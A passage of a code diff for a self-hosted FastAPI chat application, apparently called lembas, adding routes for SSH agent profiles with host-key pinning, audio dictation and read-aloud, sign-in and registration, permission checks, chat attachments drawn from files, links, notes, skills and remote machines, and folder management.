"offer": {"line": line, "fingerprint": fingerprint, "changed": True},
},
)
try:
found = await ssh_service.check(ssh_service.spec_from(profile), profile.default_dir)
except ExecError as exc:
profile.last_error = exc.message
profile.last_checked_at = datetime.now(UTC)
db.commit()
return render(
request, "agents/_check.html", {"profile": profile, "error": exc.message}
)
profile.last_error = ""
profile.last_checked_at = datetime.now(UTC)
profile.server_info = {"system": found.get("system", ""), "cwd": found.get("cwd", "")}
db.commit()
return render(request, "agents/_check.html", {"profile": profile, "found": found})
@router.post("/api/agents/{profile_id}/accept")
async def accept_host_key(request: Request, db: Db, user: RequiredUser, profile_id: str):
"""Pin the fingerprint that was just shown.
The line is re-fetched rather than taken from the form: a value that made a
round trip through a browser is not what should end up as the thing every
future connection is checked against.
"""
profile = _profile(db, user, profile_id)
try:
line, fingerprint = await ssh_service.capture_host_key(
profile.host, profile.port, timeout=profile.connect_timeout
)
except ExecError as exc:
return render(request, "agents/_check.html", {"profile": profile, "error": exc.message})
profile.host_key = line
profile.host_fingerprint = fingerprint
profile.last_error = ""
db.commit()
log.info("%s pinned host key for %s (%s)", user.email, profile.name, fingerprint)
return render(
request,
"agents/_check.html",
{"profile": profile, "accepted": fingerprint},
)
@router.post("/api/agents/{profile_id}/forget")
async def forget_host_key(request: Request, db: Db, user: RequiredUser, profile_id: str):
profile = _profile(db, user, profile_id)
profile.host_key = ""
profile.host_fingerprint = ""
# Un-trusting a host has to reach the shell already open on it, or the one
# connection that matters is the one this does not touch.
await terminal_service.close_for_profile(profile.id)
index_service.forget(profile.id)
db.commit()
return render(request, "agents/_check.html", {"profile": profile, "forgotten": True})
@router.post("/api/agents/{profile_id}/delete")
async def delete_profile(db: Db, user: RequiredUser, profile_id: str) -> Response:
profile = _profile(db, user, profile_id)
name = profile.name
await terminal_service.close_for_profile(profile.id)
index_service.forget(profile.id)
db.delete(profile)
db.commit()
log.info("%s deleted ssh profile %s", user.email, name)
return _back(f"Deleted {name}.")
@router.post("/api/agents/{profile_id}")
async def update_profile(request: Request, db: Db, user: RequiredUser, profile_id: str):
profile = _profile(db, user, profile_id)
form = await request.form()
before = (profile.host, profile.port)
_apply(profile, form)
if problem := _problem(db, profile, user.id, existing_id=profile.id):
db.rollback()
return _detail(
request, db, user, _profile(db, user, profile_id), is_new=False, error=problem
)
profile.password_encrypted = keep_or_replace(
str(form.get("password") or ""), profile.password_encrypted
)
profile.private_key_encrypted = keep_or_replace(
str(form.get("private_key") or ""), profile.private_key_encrypted
)
profile.key_passphrase_encrypted = keep_or_replace(
str(form.get("key_passphrase") or ""), profile.key_passphrase_encrypted
)
if profile.auth == AUTH_PASSWORD:
profile.private_key_encrypted = ""
profile.key_passphrase_encrypted = ""
# A pinned key belongs to a host and a port. Moving either means this is a
# different machine until proven otherwise, and silently keeping the old
# key would be the one mistake this whole mechanism exists to prevent.
if (profile.host, profile.port) != before and profile.host_key:
profile.host_key = ""
profile.host_fingerprint = ""
log.info("%s moved ssh profile %s; its host key was forgotten", user.email, profile.name)
# A shell already open holds its own connection and would not notice any of
# this. `session.profile_for` re-checks the profile on every reply, so the
# model stops at once; without the line below, "I disabled that connection"
# would simply not be true of the terminal on screen.
if not profile.enabled or not profile.host_key or (profile.host, profile.port) != before:
await terminal_service.close_for_profile(profile.id)
index_service.forget(profile.id)
db.commit()
return RedirectResponse(
f"/agents/{profile.id}?saved=Saved.", status_code=status.HTTP_303_SEE_OTHER
)
+183
View File
@@ -0,0 +1,183 @@
"""Dictation and read-aloud.
Both directions go through the server rather than from the browser to the audio
endpoint directly, for the same reason model requests do: the endpoint is often
on a private address the browser cannot reach, and its API key must never leave
this process.
"""
from __future__ import annotations
import logging
from fastapi import APIRouter, Depends, File, HTTPException, UploadFile, status
from fastapi.responses import PlainTextResponse, Response, StreamingResponse
from sqlalchemy.orm import Session as DBSession
from lembas.api.deps import Db, RequiredUser, require_permission
from lembas.db.models import Chat, Message, User
from lembas.services import audio as audio_service
from lembas.services import settings_store
from lembas.services.llm.openai_client import LLMError
from lembas.services.markdown import speakable_text
log = logging.getLogger(__name__)
router = APIRouter(prefix="/api/audio", tags=["audio"])
# A minute of speech is well under a megabyte in any browser codec; this is a
# ceiling on nonsense, not a budget. Recorded audio is held in memory and never
# written to disk: it is not an attachment, has no owner and nothing would ever
# sweep it up.
MAX_AUDIO_BYTES = 25 * 1024 * 1024
def _user_audio(user: User) -> dict:
return dict((user.settings_json or {}).get("audio") or {})
def resolve_voice(config: dict, user: User) -> str:
"""The voice a given user should be read to in.
Their own choice, then the instance default, then whatever the endpoint
picks. Not validated against the discovered list: a voice can disappear
when a server is reconfigured, and falling back beats failing.
"""
return (_user_audio(user).get("voice") or config.get("tts_voice") or "").strip()
def resolve_speed(config: dict, user: User) -> float:
"""The playback speed for this user, in the range every endpoint accepts.
Key presence decides which layer wins, not truthiness: chained `or` would
make a stored speed of 0 fall through to the default instead of being
clamped, which is a different answer for no stated reason.
"""
preferences = _user_audio(user)
if "speed" in preferences:
raw = preferences["speed"]
elif "tts_speed" in config:
raw = config["tts_speed"]
else:
return 1.0
try:
chosen = float(raw)
except (TypeError, ValueError):
return 1.0
# Clamped rather than dropped, unlike the sampling parameters: a speed of 0
# is not a slower reading, it is silence.
return min(max(chosen, 0.25), 4.0)
@router.post(
"/transcribe", dependencies=[Depends(require_permission("audio.transcribe"))]
)
async def transcribe(
db: Db, user: RequiredUser, file: UploadFile = File(...)
) -> Response:
"""Turn a recording into text for the composer.
Returns plain text, not HTML: the caller assigns it to a textarea's value,
where it is never parsed as markup.
"""
config = settings_store.audio(db)
if not config.get("stt_enabled"):
raise HTTPException(
status.HTTP_404_NOT_FOUND, "Dictation is not enabled on this instance."
)
data = await file.read(MAX_AUDIO_BYTES + 1)
if len(data) > MAX_AUDIO_BYTES:
raise HTTPException(
status.HTTP_413_CONTENT_TOO_LARGE, "That recording is too long."
)
if not data:
raise HTTPException(status.HTTP_400_BAD_REQUEST, "The recording was empty.")
language = (_user_audio(user).get("language") or config.get("stt_language") or "").strip()
try:
text = await audio_service.transcribe(
audio_service.endpoint_for(config, "stt"),
data=data,
filename=file.filename or "speech.webm",
content_type=file.content_type or "audio/webm",
model=config.get("stt_model") or "whisper-1",
language=language,
)
except LLMError as exc:
log.info("transcription failed: %s", exc.message)
raise HTTPException(status.HTTP_502_BAD_GATEWAY, exc.message) from exc
return PlainTextResponse(text)
@router.get(
"/speech/{chat_id}/{message_id}",
dependencies=[Depends(require_permission("audio.listen"))],
)
async def speech(db: Db, user: RequiredUser, chat_id: str, message_id: str) -> Response:
"""Read one message aloud."""
config = settings_store.audio(db)
if not config.get("tts_enabled"):
raise HTTPException(
status.HTTP_404_NOT_FOUND, "Read-aloud is not enabled on this instance."
)
message = _owned_message(db, chat_id, message_id, user)
text = speakable_text(message.content)
if not text:
raise HTTPException(status.HTTP_404_NOT_FOUND, "There is nothing to read out.")
try:
media_type, stream = await audio_service.speak(
audio_service.endpoint_for(config, "tts"),
text,
model=config.get("tts_model") or "tts-1",
voice=resolve_voice(config, user),
fmt=config.get("tts_format") or "mp3",
speed=resolve_speed(config, user),
)
except LLMError as exc:
log.info("speech failed: %s", exc.message)
raise HTTPException(status.HTTP_502_BAD_GATEWAY, exc.message) from exc
return StreamingResponse(
stream,
media_type=media_type,
# Not cached: the voice can change under the reader between plays, and
# a message can be regenerated at the same URL.
headers={"Cache-Control": "no-store", "X-Accel-Buffering": "no"},
)
async def available_voices(config: dict, *, refresh: bool = False) -> tuple[list[str], str]:
"""Discovered voices and, if discovery failed, why.
Returns rather than raises: a settings page whose voice list could not be
fetched should still render, with the reason next to an empty list.
"""
if not config.get("tts_enabled") or not (config.get("tts_base_url") or "").strip():
return [], ""
try:
return await audio_service.voices(
audio_service.endpoint_for(config, "tts"), refresh=refresh
), ""
except LLMError as exc:
return [], exc.message
def _owned_message(db: DBSession, chat_id: str, message_id: str, user: User) -> Message:
"""The message, if it belongs to a chat this user owns.
404 rather than 403 throughout, matching api/chats.py: whether a given id
exists is not information these endpoints hand out.
"""
chat = db.get(Chat, chat_id)
if chat is None or chat.user_id != user.id:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
message = db.get(Message, message_id)
if message is None or message.chat_id != chat.id:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That message no longer exists.")
return message
+212
View File
@@ -0,0 +1,212 @@
"""Registration, sign-in and sign-out."""
from __future__ import annotations
import logging
from fastapi import APIRouter, Form, Request, Response, status
from fastapi.responses import RedirectResponse
from sqlalchemy import func, select
from lembas.api.deps import CurrentUser, Db
from lembas.config import settings
from lembas.db.models import ROLE_ADMIN, ROLE_USER, User
from lembas.security.passwords import hash_password, validate_password, verify_password
from lembas.security.sessions import COOKIE_NAME, create_session, revoke_session
from lembas.services import settings_store
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(prefix="/auth", tags=["auth"])
def _no_users_yet(db: Db) -> bool:
return db.scalar(select(func.count()).select_from(User)) == 0
def _set_session_cookie(response: Response, token: str) -> None:
response.set_cookie(
COOKIE_NAME,
token,
max_age=settings.session_ttl,
httponly=True,
# Lax is what makes this application CSRF-safe without tokens: the
# cookie is not sent on cross-site POSTs, and every mutating route here
# is a POST. Do not relax to "none".
#
# One route is no longer a POST: the terminal WebSocket is a GET, and
# what it opens is a shell. Lax still withholds the cookie from a
# handshake a foreign page starts, so the attack is blocked -- but the
# sentence above is no longer the whole story, which is why
# `api/terminal.py` also *requires* a same-origin Origin header rather
# than merely checking one when it happens to be there.
samesite="lax",
# Only over HTTPS when the deployment is not plain local http. Marking
# it secure on http would silently break sign-in for a LAN install.
# It has always meant "a network attacker on plain http can steal a
# session"; with the terminal it also means they get a shell on the
# machine behind that chat. See deploy/README.md.
secure=False,
path="/",
)
def _safe_next(raw: str | None) -> str:
"""Reject open redirects: only same-origin absolute paths are allowed."""
if not raw or not raw.startswith("/") or raw.startswith("//"):
return "/"
return raw
def _login_page(request: Request, db: Db, *, status_code: int = 200, **context):
"""Render the sign-in page.
Always goes through here so `allow_signup` reflects the *stored* setting
rather than the environment default baked in by render(). Otherwise the
"Create one" link would keep appearing after an administrator closed
registration, offering a link that only leads to a refusal.
"""
context.setdefault("next", "/")
context["allow_signup"] = settings_store.signup_allowed(db)
return render(request, "auth/login.html", context, status_code=status_code)
@router.get("/login")
async def login_form(request: Request, db: Db, user: CurrentUser, next: str = "/"):
if user is not None:
return RedirectResponse(_safe_next(next), status_code=status.HTTP_303_SEE_OTHER)
# An empty database means this install has never been set up. Send the
# first visitor straight to registration rather than to a login form they
# cannot possibly satisfy.
if _no_users_yet(db):
return RedirectResponse("/auth/register", status_code=status.HTTP_303_SEE_OTHER)
return _login_page(request, db, next=_safe_next(next))
@router.post("/login")
async def login(
request: Request,
db: Db,
email: str = Form(...),
password: str = Form(...),
next: str = Form("/"),
):
email = email.strip().lower()
user = db.scalar(select(User).where(User.email == email))
# One message for "no such account" and "wrong password" alike, so the form
# cannot be used to discover which addresses are registered.
if user is None or not verify_password(password, user.password_hash):
log.info("failed sign-in for %s", email)
return _login_page(
request,
db,
status_code=status.HTTP_401_UNAUTHORIZED,
error="That email and password do not match.",
email=email,
next=_safe_next(next),
)
if not user.active:
return _login_page(
request,
db,
status_code=status.HTTP_403_FORBIDDEN,
error="This account has been deactivated. Ask an administrator.",
email=email,
next=_safe_next(next),
)
token = create_session(
db,
user,
user_agent=request.headers.get("user-agent", ""),
ip_address=request.client.host if request.client else "",
)
response = RedirectResponse(_safe_next(next), status_code=status.HTTP_303_SEE_OTHER)
_set_session_cookie(response, token)
return response
@router.get("/register")
async def register_form(request: Request, db: Db, user: CurrentUser):
if user is not None:
return RedirectResponse("/", status_code=status.HTTP_303_SEE_OTHER)
first_run = _no_users_yet(db)
if not first_run and not settings_store.signup_allowed(db):
return _login_page(
request,
db,
status_code=status.HTTP_403_FORBIDDEN,
error="Registration is closed. Ask an administrator for an account.",
)
return render(request, "auth/register.html", {"first_run": first_run})
@router.post("/register")
async def register(
request: Request,
db: Db,
name: str = Form(...),
email: str = Form(...),
password: str = Form(...),
):
first_run = _no_users_yet(db)
if not first_run and not settings_store.signup_allowed(db):
return _login_page(
request,
db,
status_code=status.HTTP_403_FORBIDDEN,
error="Registration is closed. Ask an administrator for an account.",
)
name = name.strip()
email = email.strip().lower()
def fail(message: str) -> Response:
return render(
request,
"auth/register.html",
{"error": message, "name": name, "email": email, "first_run": first_run},
status_code=status.HTTP_400_BAD_REQUEST,
)
if not name:
return fail("Please enter a name.")
if "@" not in email or "." not in email.split("@")[-1]:
return fail("Please enter a valid email address.")
if (problem := validate_password(password)) is not None:
return fail(problem)
if db.scalar(select(User).where(User.email == email)) is not None:
return fail("An account with that email already exists.")
# Whoever sets the instance up owns it. Everyone after that is a plain user
# until an admin says otherwise.
user = User(
name=name,
email=email,
password_hash=hash_password(password),
role=ROLE_ADMIN if first_run else ROLE_USER,
)
db.add(user)
db.commit()
log.info("registered %s as %s", email, user.role)
token = create_session(
db,
user,
user_agent=request.headers.get("user-agent", ""),
ip_address=request.client.host if request.client else "",
)
response = RedirectResponse("/", status_code=status.HTTP_303_SEE_OTHER)
_set_session_cookie(response, token)
return response
@router.post("/logout")
async def logout(request: Request, db: Db):
revoke_session(db, request.cookies.get(COOKIE_NAME))
response = RedirectResponse("/auth/login", status_code=status.HTTP_303_SEE_OTHER)
response.delete_cookie(COOKIE_NAME, path="/")
return response
File diff suppressed because it is too large Load Diff
+34 -6
View File
@@ -8,6 +8,7 @@ from typing import Annotated
from fastapi import Depends, HTTPException, Request, status from fastapi import Depends, HTTPException, Request, status
from fastapi.responses import RedirectResponse from fastapi.responses import RedirectResponse
from sqlalchemy.orm import Session as DBSession from sqlalchemy.orm import Session as DBSession
from starlette.requests import HTTPConnection
from lembas.db.models import User from lembas.db.models import User
from lembas.db.session import get_session_factory from lembas.db.session import get_session_factory
@@ -26,17 +27,23 @@ def get_db() -> Iterator[DBSession]:
Db = Annotated[DBSession, Depends(get_db)] Db = Annotated[DBSession, Depends(get_db)]
def get_current_user(request: Request, db: Db) -> User | None: def get_current_user(conn: HTTPConnection, db: Db) -> User | None:
"""Resolve the session cookie to a user, or None when signed out. """Resolve the session cookie to a user, or None when signed out.
Cached on request.state so several dependencies in one request do not each Cached on the connection's state so several dependencies in one request do
hit the sessions table. not each hit the sessions table.
`HTTPConnection` rather than `Request` because the terminal panel is a
WebSocket, and FastAPI injects a `WebSocket` there -- annotating this
`Request` fails at *connect* time rather than at import, so it would pass
every smoke test and break in a browser. `HTTPConnection` is the base of
both and carries the cookies and the state either way.
""" """
cached = getattr(request.state, "user", None) cached = getattr(conn.state, "user", None)
if cached is not None: if cached is not None:
return cached return cached
user = resolve_session(db, request.cookies.get(COOKIE_NAME)) user = resolve_session(db, conn.cookies.get(COOKIE_NAME))
request.state.user = user conn.state.user = user
return user return user
@@ -78,6 +85,27 @@ def require_admin(user: RequiredUser) -> User:
AdminUser = Annotated[User, Depends(require_admin)] AdminUser = Annotated[User, Depends(require_admin)]
def require_permission(key: str):
"""Dependency factory guarding a route behind a named permission.
@router.post("", dependencies=[Depends(require_permission("chat.create"))])
Administrators always pass; see lembas.security.permissions for why.
"""
def guard(db: Db, user: RequiredUser) -> User:
from lembas.security import permissions
if not permissions.has(db, user, key):
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail="You do not have permission to do that.",
)
return user
return guard
def is_htmx(request: Request) -> bool: def is_htmx(request: Request) -> bool:
return request.headers.get("HX-Request") == "true" return request.headers.get("HX-Request") == "true"
+511
View File
@@ -0,0 +1,511 @@
"""Uploading, serving and removing chat attachments."""
from __future__ import annotations
import logging
from fastapi import (
APIRouter,
Depends,
File,
Form,
HTTPException,
Request,
Response,
UploadFile,
status,
)
from fastapi.responses import FileResponse
from sqlalchemy import select
from lembas.api.deps import Db, RequiredUser, require_permission
from lembas.db.models import Attachment, Document, KnowledgeBase, Note
from lembas.security import permissions
from lembas.services import files as files_service
from lembas.services import settings_store
from lembas.services.fetch import FetchError, fetch
from lembas.services.library import documents as documents_service
from lembas.services.library import notes as notes_service
from lembas.services.library import skills as skills_service
from lembas.web.templating import templates
log = logging.getLogger(__name__)
router = APIRouter(prefix="/api/files", tags=["files"])
def _owned(db: Db, attachment_id: str, user_id: str) -> Attachment:
attachment = db.get(Attachment, attachment_id)
if attachment is None or attachment.user_id != user_id:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That file no longer exists.")
return attachment
@router.post("", dependencies=[Depends(require_permission("files.upload"))])
async def upload(
request: Request,
db: Db,
user: RequiredUser,
file: UploadFile = File(...),
chat_id: str = "",
) -> Response:
"""Accept one file and return the chip that represents it in the composer.
The attachment is stored immediately but left unbound: it only joins a
message when that message is sent. That is what lets a file be removed
before sending, and what the orphan sweep later cleans up.
"""
payload = await file.read()
try:
attachment = files_service.store(
db,
user_id=user.id,
chat_id=chat_id or None,
payload=payload,
filename=file.filename or "file",
)
except files_service.FileError as exc:
# 200 with an error chip rather than a 4xx: htmx swaps the response
# body either way, and an error the user can read beats a silent
# failure in the console.
return templates.TemplateResponse(
request,
"chat/_attachment_error.html",
{"request": request, "filename": file.filename or "file", "error": str(exc)},
)
return templates.TemplateResponse(
request,
"chat/_attachment_chip.html",
{"request": request, "attachment": attachment},
)
@router.post("/link", dependencies=[Depends(require_permission("files.upload"))])
async def attach_link(
request: Request, db: Db, user: RequiredUser, url: str = Form(""), chat_id: str = Form("")
) -> Response:
"""Fetch a web page and attach its text.
The page is reduced to text here and stored, rather than being fetched again
when the message is sent: the same rule as PDF extraction. A reply must not
change because a page was edited between composing and sending.
"""
config = settings_store.search(db)
try:
page = await fetch(url, allow_private=bool(config.get("allow_private_fetch")))
except FetchError as exc:
return templates.TemplateResponse(
request,
"chat/_attachment_error.html",
{"request": request, "filename": url[:80] or "link", "error": exc.message},
)
attachment = files_service.store_text(
db,
user_id=user.id,
chat_id=chat_id or None,
filename=f"{page.title[:120] or 'page'}.txt",
text=page.text,
truncated=page.truncated,
source_note=page.url,
)
return templates.TemplateResponse(
request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
)
@router.post("/from-knowledge", dependencies=[Depends(require_permission("files.upload"))])
async def attach_from_knowledge(
request: Request, db: Db, user: RequiredUser, document_id: str = Form(""),
chat_id: str = Form(""),
) -> Response:
"""Attach a library document to the message being composed.
The document is **copied**, not referenced. History must not change under a
conversation because a document was later edited or deleted -- the same
reason a PDF's text is extracted once at upload rather than per request.
"""
document = documents_service.get(db, document_id, user)
if document is None:
return templates.TemplateResponse(
request,
"chat/_attachment_error.html",
{
"request": request,
"filename": "document",
"error": "That document is not available.",
},
)
attachment = files_service.copy_document(
db, user_id=user.id, chat_id=chat_id or None, document=document
)
return templates.TemplateResponse(
request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
)
def _chip(request: Request, attachment: Attachment) -> Response:
return templates.TemplateResponse(
request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
)
def _not_available(request: Request, what: str) -> Response:
return templates.TemplateResponse(
request,
"chat/_attachment_error.html",
{"request": request, "filename": what, "error": f"That {what} is not available."},
)
@router.post("/from-note", dependencies=[Depends(require_permission("files.upload"))])
async def attach_from_note(
request: Request, db: Db, user: RequiredUser, note_id: str = Form(""), chat_id: str = Form("")
) -> Response:
"""Attach a note the model wrote earlier.
A copy, like every other attach path: a note is edited far more often than a
document, and a transcript that changes underneath itself because somebody
tidied a note later is the thing all of this is arranged to prevent.
"""
note = notes_service.get(db, note_id, user)
if note is None:
return _not_available(request, "note")
return _chip(
request,
files_service.store_text(
db,
user_id=user.id,
chat_id=chat_id or None,
filename=f"{note.title or 'note'}.txt",
text=note.body,
source_path=note.title or "",
source_label="Note",
),
)
@router.post("/from-skill", dependencies=[Depends(require_permission("files.upload"))])
async def attach_from_skill(
request: Request, db: Db, user: RequiredUser, skill_id: str = Form(""), chat_id: str = Form("")
) -> Response:
"""Hand a skill over directly, rather than hoping the model fetches it.
The index of enabled skills is already in the harness and `skill_get` pulls
a body on demand -- but only if the model decides to. `@` is the reader
saying "use this one", which is a different act and deserves a way to say it.
"""
skill = skills_service.get(db, skill_id, user)
if skill is None:
return _not_available(request, "skill")
return _chip(
request,
files_service.store_text(
db,
user_id=user.id,
chat_id=chat_id or None,
filename=f"{skill.name}.md",
text=skill.body,
source_path=skill.name,
source_label="Skill",
),
)
@router.post("/from-attachment", dependencies=[Depends(require_permission("files.upload"))])
async def attach_from_attachment(
request: Request,
db: Db,
user: RequiredUser,
attachment_id: str = Form(""),
chat_id: str = Form(""),
) -> Response:
"""Point at something already in this conversation, without uploading again.
Copied rather than referenced, like everything else here -- an attachment
belongs to the message it was sent with, and two messages sharing one row
would make deleting either of them a question rather than an answer.
"""
original = db.get(Attachment, attachment_id)
if original is None or original.user_id != user.id:
return _not_available(request, "attachment")
return _chip(
request,
files_service.copy_attachment(
db, user_id=user.id, chat_id=chat_id or None, attachment=original
),
)
@router.get("/knowledge-picker", dependencies=[Depends(require_permission("files.upload"))])
async def knowledge_picker(
request: Request, db: Db, user: RequiredUser, q: str = "", chat_id: str = ""
) -> Response:
"""The list of documents shown by the composer's Knowledge option."""
if q.strip():
found = documents_service.search(db, user, q, limit=20)
else:
found = list(
db.scalars(
documents_service.visible(db, user)
.order_by(Document.created_at.desc())
.limit(20)
)
)
return templates.TemplateResponse(
request,
"chat/_knowledge_picker.html",
# `user` is read by the template to mark documents shared by someone
# else; render() would inject it, but this is a fragment.
{"request": request, "documents": found, "q": q, "chat_id": chat_id, "user": user},
)
@router.get("/mention-picker", dependencies=[Depends(require_permission("files.upload"))])
async def mention_picker(
request: Request,
db: Db,
user: RequiredUser,
q: str = "",
chat_id: str = "",
profile_id: str = "",
project_dir: str = "",
) -> Response:
"""What `@` offers: files under the project directory, and the library.
One menu from two sources, because a person typing `@readme` is not
thinking about which store the answer lives in. The project half is only
there for an agent chat and only when a listing has already been built --
this is a keystroke-latency path and it must never wait on a machine.
Filtered server-side, like the knowledge picker beside it and for the same
reason: the library is searched with FTS rather than filtered in the
browser, which is what makes it work at five hundred documents. The project
half is filtered here too, so the client stays one `fetch` and a list.
"""
needle = q.strip().lower()
files: list[dict] = []
if profile_id and permissions.has(db, user, "tools.agent"):
from lembas.db.models import SshProfile
from lembas.services.agent import index as index_service
profile = db.get(SshProfile, profile_id)
# Re-checked rather than trusted from the query string: an id in a URL
# is not an authorisation, and this lists somebody's machine.
if profile is not None and profile.owner_id == user.id:
found = index_service.cached(profile_id, project_dir or profile.default_dir)
if found is not None:
files = [
{"path": path, "name": path.rstrip("/").rsplit("/", 1)[-1]}
for path in found.paths
if not needle or needle in path.lower()
][:20]
documents: list = []
notes: list = []
skills: list = []
bases: list = []
if permissions.has(db, user, "library.use"):
if needle:
documents = documents_service.search(db, user, q, limit=10)
notes = notes_service.search(db, user, q, limit=5)
skills = skills_service.search(db, user, q, limit=5)
else:
documents = list(
db.scalars(
documents_service.visible(db, user)
.order_by(Document.created_at.desc())
.limit(10)
)
)
notes = list(
db.scalars(
notes_service.visible(db, user).order_by(Note.updated_at.desc()).limit(5)
)
)
skills = list(db.scalars(skills_service.visible(db, user).limit(5)))
# A whole base is a *reference*, not a copy: attaching one scopes the
# chat to it and the model searches inside it. Dumping the contents of
# a folder of contracts into the window would be the wrong shape
# entirely, and `Chat.knowledge_bases` already means exactly this.
# Only in an existing chat, because there is nothing to attach it to
# before one exists -- the same reason project files are absent there.
if chat_id:
bases = [
base
for base in db.scalars(
documents_service.visible_bases(db, user).order_by(KnowledgeBase.name)
)
if not needle or needle in base.name.lower()
][:5]
# A URL typed after `@` is a page to read, not a name to look up. The
# fetcher, its SSRF guard and its HTML-to-text already live behind
# `/api/files/link`; this only offers it.
website = q.strip() if q.strip().lower().startswith(("http://", "https://")) else ""
attachments: list = []
if chat_id and needle:
attachments = list(
db.scalars(
select(Attachment)
.where(
Attachment.user_id == user.id,
Attachment.chat_id == chat_id,
Attachment.message_id.is_not(None),
)
.order_by(Attachment.created_at.desc())
.limit(20)
)
)
attachments = [a for a in attachments if needle in a.filename.lower()][:5]
return templates.TemplateResponse(
request,
"chat/_mention_picker.html",
{
"request": request,
"user": user,
"files": files,
"documents": documents,
"notes": notes,
"skills": skills,
"bases": bases,
"attachments": attachments,
"website": website,
"q": q,
"chat_id": chat_id,
"profile_id": profile_id,
},
)
@router.post("/from-project", dependencies=[Depends(require_permission("files.upload"))])
async def attach_from_project(
request: Request,
db: Db,
user: RequiredUser,
profile_id: str = Form(""),
path: str = Form(""),
chat_id: str = Form(""),
) -> Response:
"""Pull one file off the far machine and attach it to this message.
Its contents, not a reference: a model that has to spend a round calling
`file_read` often does not bother, and on a plain chat there is no
`file_read` to call. The path and the machine travel with it, so the model
is told exactly which file it is looking at rather than a bare basename it
cannot act on.
A directory attaches its listing instead of refusing -- "@ that folder" is
a reasonable thing to mean, and the listing is what it means.
"""
from lembas.db.models import SshProfile
from lembas.services.agent import ssh as ssh_service
from lembas.services.agent.base import ExecError
def _failed(message: str) -> Response:
return templates.TemplateResponse(
request,
"chat/_attachment_error.html",
{"request": request, "filename": path or "file", "error": message},
)
if not permissions.has(db, user, "tools.agent"):
return _failed("You do not have access to connections.")
profile = db.get(SshProfile, profile_id)
if profile is None or profile.owner_id != user.id or not profile.enabled:
return _failed("That connection is not available.")
if hint := ssh_service.available():
return _failed(hint)
wanted = path.strip()
if not wanted:
return _failed("No file was named.")
executor = ssh_service.SshExecutor(ssh_service.spec_from(profile), profile.default_dir)
try:
if wanted.endswith("/"):
names = await executor.list_dir(wanted.rstrip("/"))
body = "\n".join(names)
truncated = len(names) >= ssh_service.MAX_ENTRIES
else:
body = await executor.read_file(wanted, max_bytes=ssh_service.MAX_READ_BYTES)
truncated = len(body.encode("utf-8", "ignore")) >= ssh_service.MAX_READ_BYTES
except ExecError as exc:
return _failed(exc.message)
attachment = files_service.store_text(
db,
user_id=user.id,
chat_id=chat_id or None,
filename=wanted.rstrip("/").rsplit("/", 1)[-1] or wanted,
text=body,
truncated=truncated,
source_path=wanted,
source_label=profile.name,
)
return templates.TemplateResponse(
request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
)
@router.delete("/{attachment_id}")
async def remove(db: Db, user: RequiredUser, attachment_id: str) -> Response:
"""Detach a file before it has been sent."""
attachment = _owned(db, attachment_id, user.id)
if attachment.message_id is not None:
# Deleting it now would rewrite a conversation that has already been
# sent to a model and read by the user.
raise HTTPException(
status.HTTP_409_CONFLICT, "That file is part of a sent message."
)
files_service.delete(db, attachment)
return Response(status_code=status.HTTP_200_OK)
@router.get("/{attachment_id}/content")
async def content(db: Db, user: RequiredUser, attachment_id: str) -> Response:
"""Serve an attachment back to its owner."""
attachment = _owned(db, attachment_id, user.id)
path = files_service.stored_path(attachment.stored_name)
if path is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That file is no longer on disk.")
# inline for images so they render in the thread; attachment for everything
# else so a text/html upload can never be executed in this origin.
disposition = "inline" if attachment.is_image else "attachment"
return FileResponse(
path,
media_type=attachment.media_type if attachment.is_image else "application/octet-stream",
headers={
"Content-Disposition": f'{disposition}; filename="{attachment.filename}"',
"Cache-Control": "private, max-age=604800",
# Belt and braces: even for images, never let a browser sniff its
# way to treating the bytes as something executable.
"X-Content-Type-Options": "nosniff",
},
)
@router.get("/{attachment_id}/text")
async def extracted_text(db: Db, user: RequiredUser, attachment_id: str) -> Response:
"""The text a document contributed to the prompt.
Worth being able to see: a PDF that extracted badly explains a strange
reply, and there is otherwise no way to tell what the model was given.
"""
attachment = _owned(db, attachment_id, user.id)
return Response(
attachment.extracted_text or attachment.extraction_error,
media_type="text/plain; charset=utf-8",
)
+123
View File
@@ -0,0 +1,123 @@
"""Folder management."""
from __future__ import annotations
from fastapi import APIRouter, Depends, Form, HTTPException, Response, status
from sqlalchemy.orm import Session as DBSession
from lembas.api.deps import Db, RequiredUser, require_permission
from lembas.db.models import Folder
# Every route here manages folders, so the guard belongs on the router.
router = APIRouter(
prefix="/api/folders",
tags=["folders"],
dependencies=[Depends(require_permission("folder.manage"))],
)
MAX_DEPTH = 8
def _owned_folder(db: DBSession, folder_id: str, user_id: str) -> Folder:
folder = db.get(Folder, folder_id)
if folder is None or folder.user_id != user_id:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That folder no longer exists.")
return folder
def _depth_of(db: DBSession, folder: Folder | None) -> int:
depth = 0
seen: set[str] = set()
while folder is not None and folder.id not in seen:
seen.add(folder.id)
depth += 1
folder = db.get(Folder, folder.parent_id) if folder.parent_id else None
return depth
def _refresh_sidebar() -> Response:
"""Tell the browser to reload so the tree re-renders.
The folder tree is recursive and a change can move any part of it, so
re-rendering the whole sidebar server-side is both simpler and less
error-prone than trying to patch individual nodes over the wire.
"""
response = Response(status_code=status.HTTP_204_NO_CONTENT)
response.headers["HX-Refresh"] = "true"
return response
@router.post("")
async def create_folder(
db: Db,
user: RequiredUser,
name: str = Form("New folder"),
parent_id: str = Form(""),
) -> Response:
parent = _owned_folder(db, parent_id, user.id) if parent_id else None
# A cap on nesting, so a runaway client cannot build a tree deep enough to
# blow the recursion limit in the template.
if parent is not None and _depth_of(db, parent) >= MAX_DEPTH:
raise HTTPException(
status.HTTP_400_BAD_REQUEST,
f"Folders cannot be nested more than {MAX_DEPTH} deep.",
)
db.add(
Folder(
user_id=user.id,
name=name.strip()[:200] or "New folder",
parent_id=parent.id if parent else None,
)
)
db.commit()
return _refresh_sidebar()
@router.patch("/{folder_id}")
async def update_folder(
db: Db,
user: RequiredUser,
folder_id: str,
name: str | None = Form(None),
parent_id: str | None = Form(None),
collapsed: bool | None = Form(None),
) -> Response:
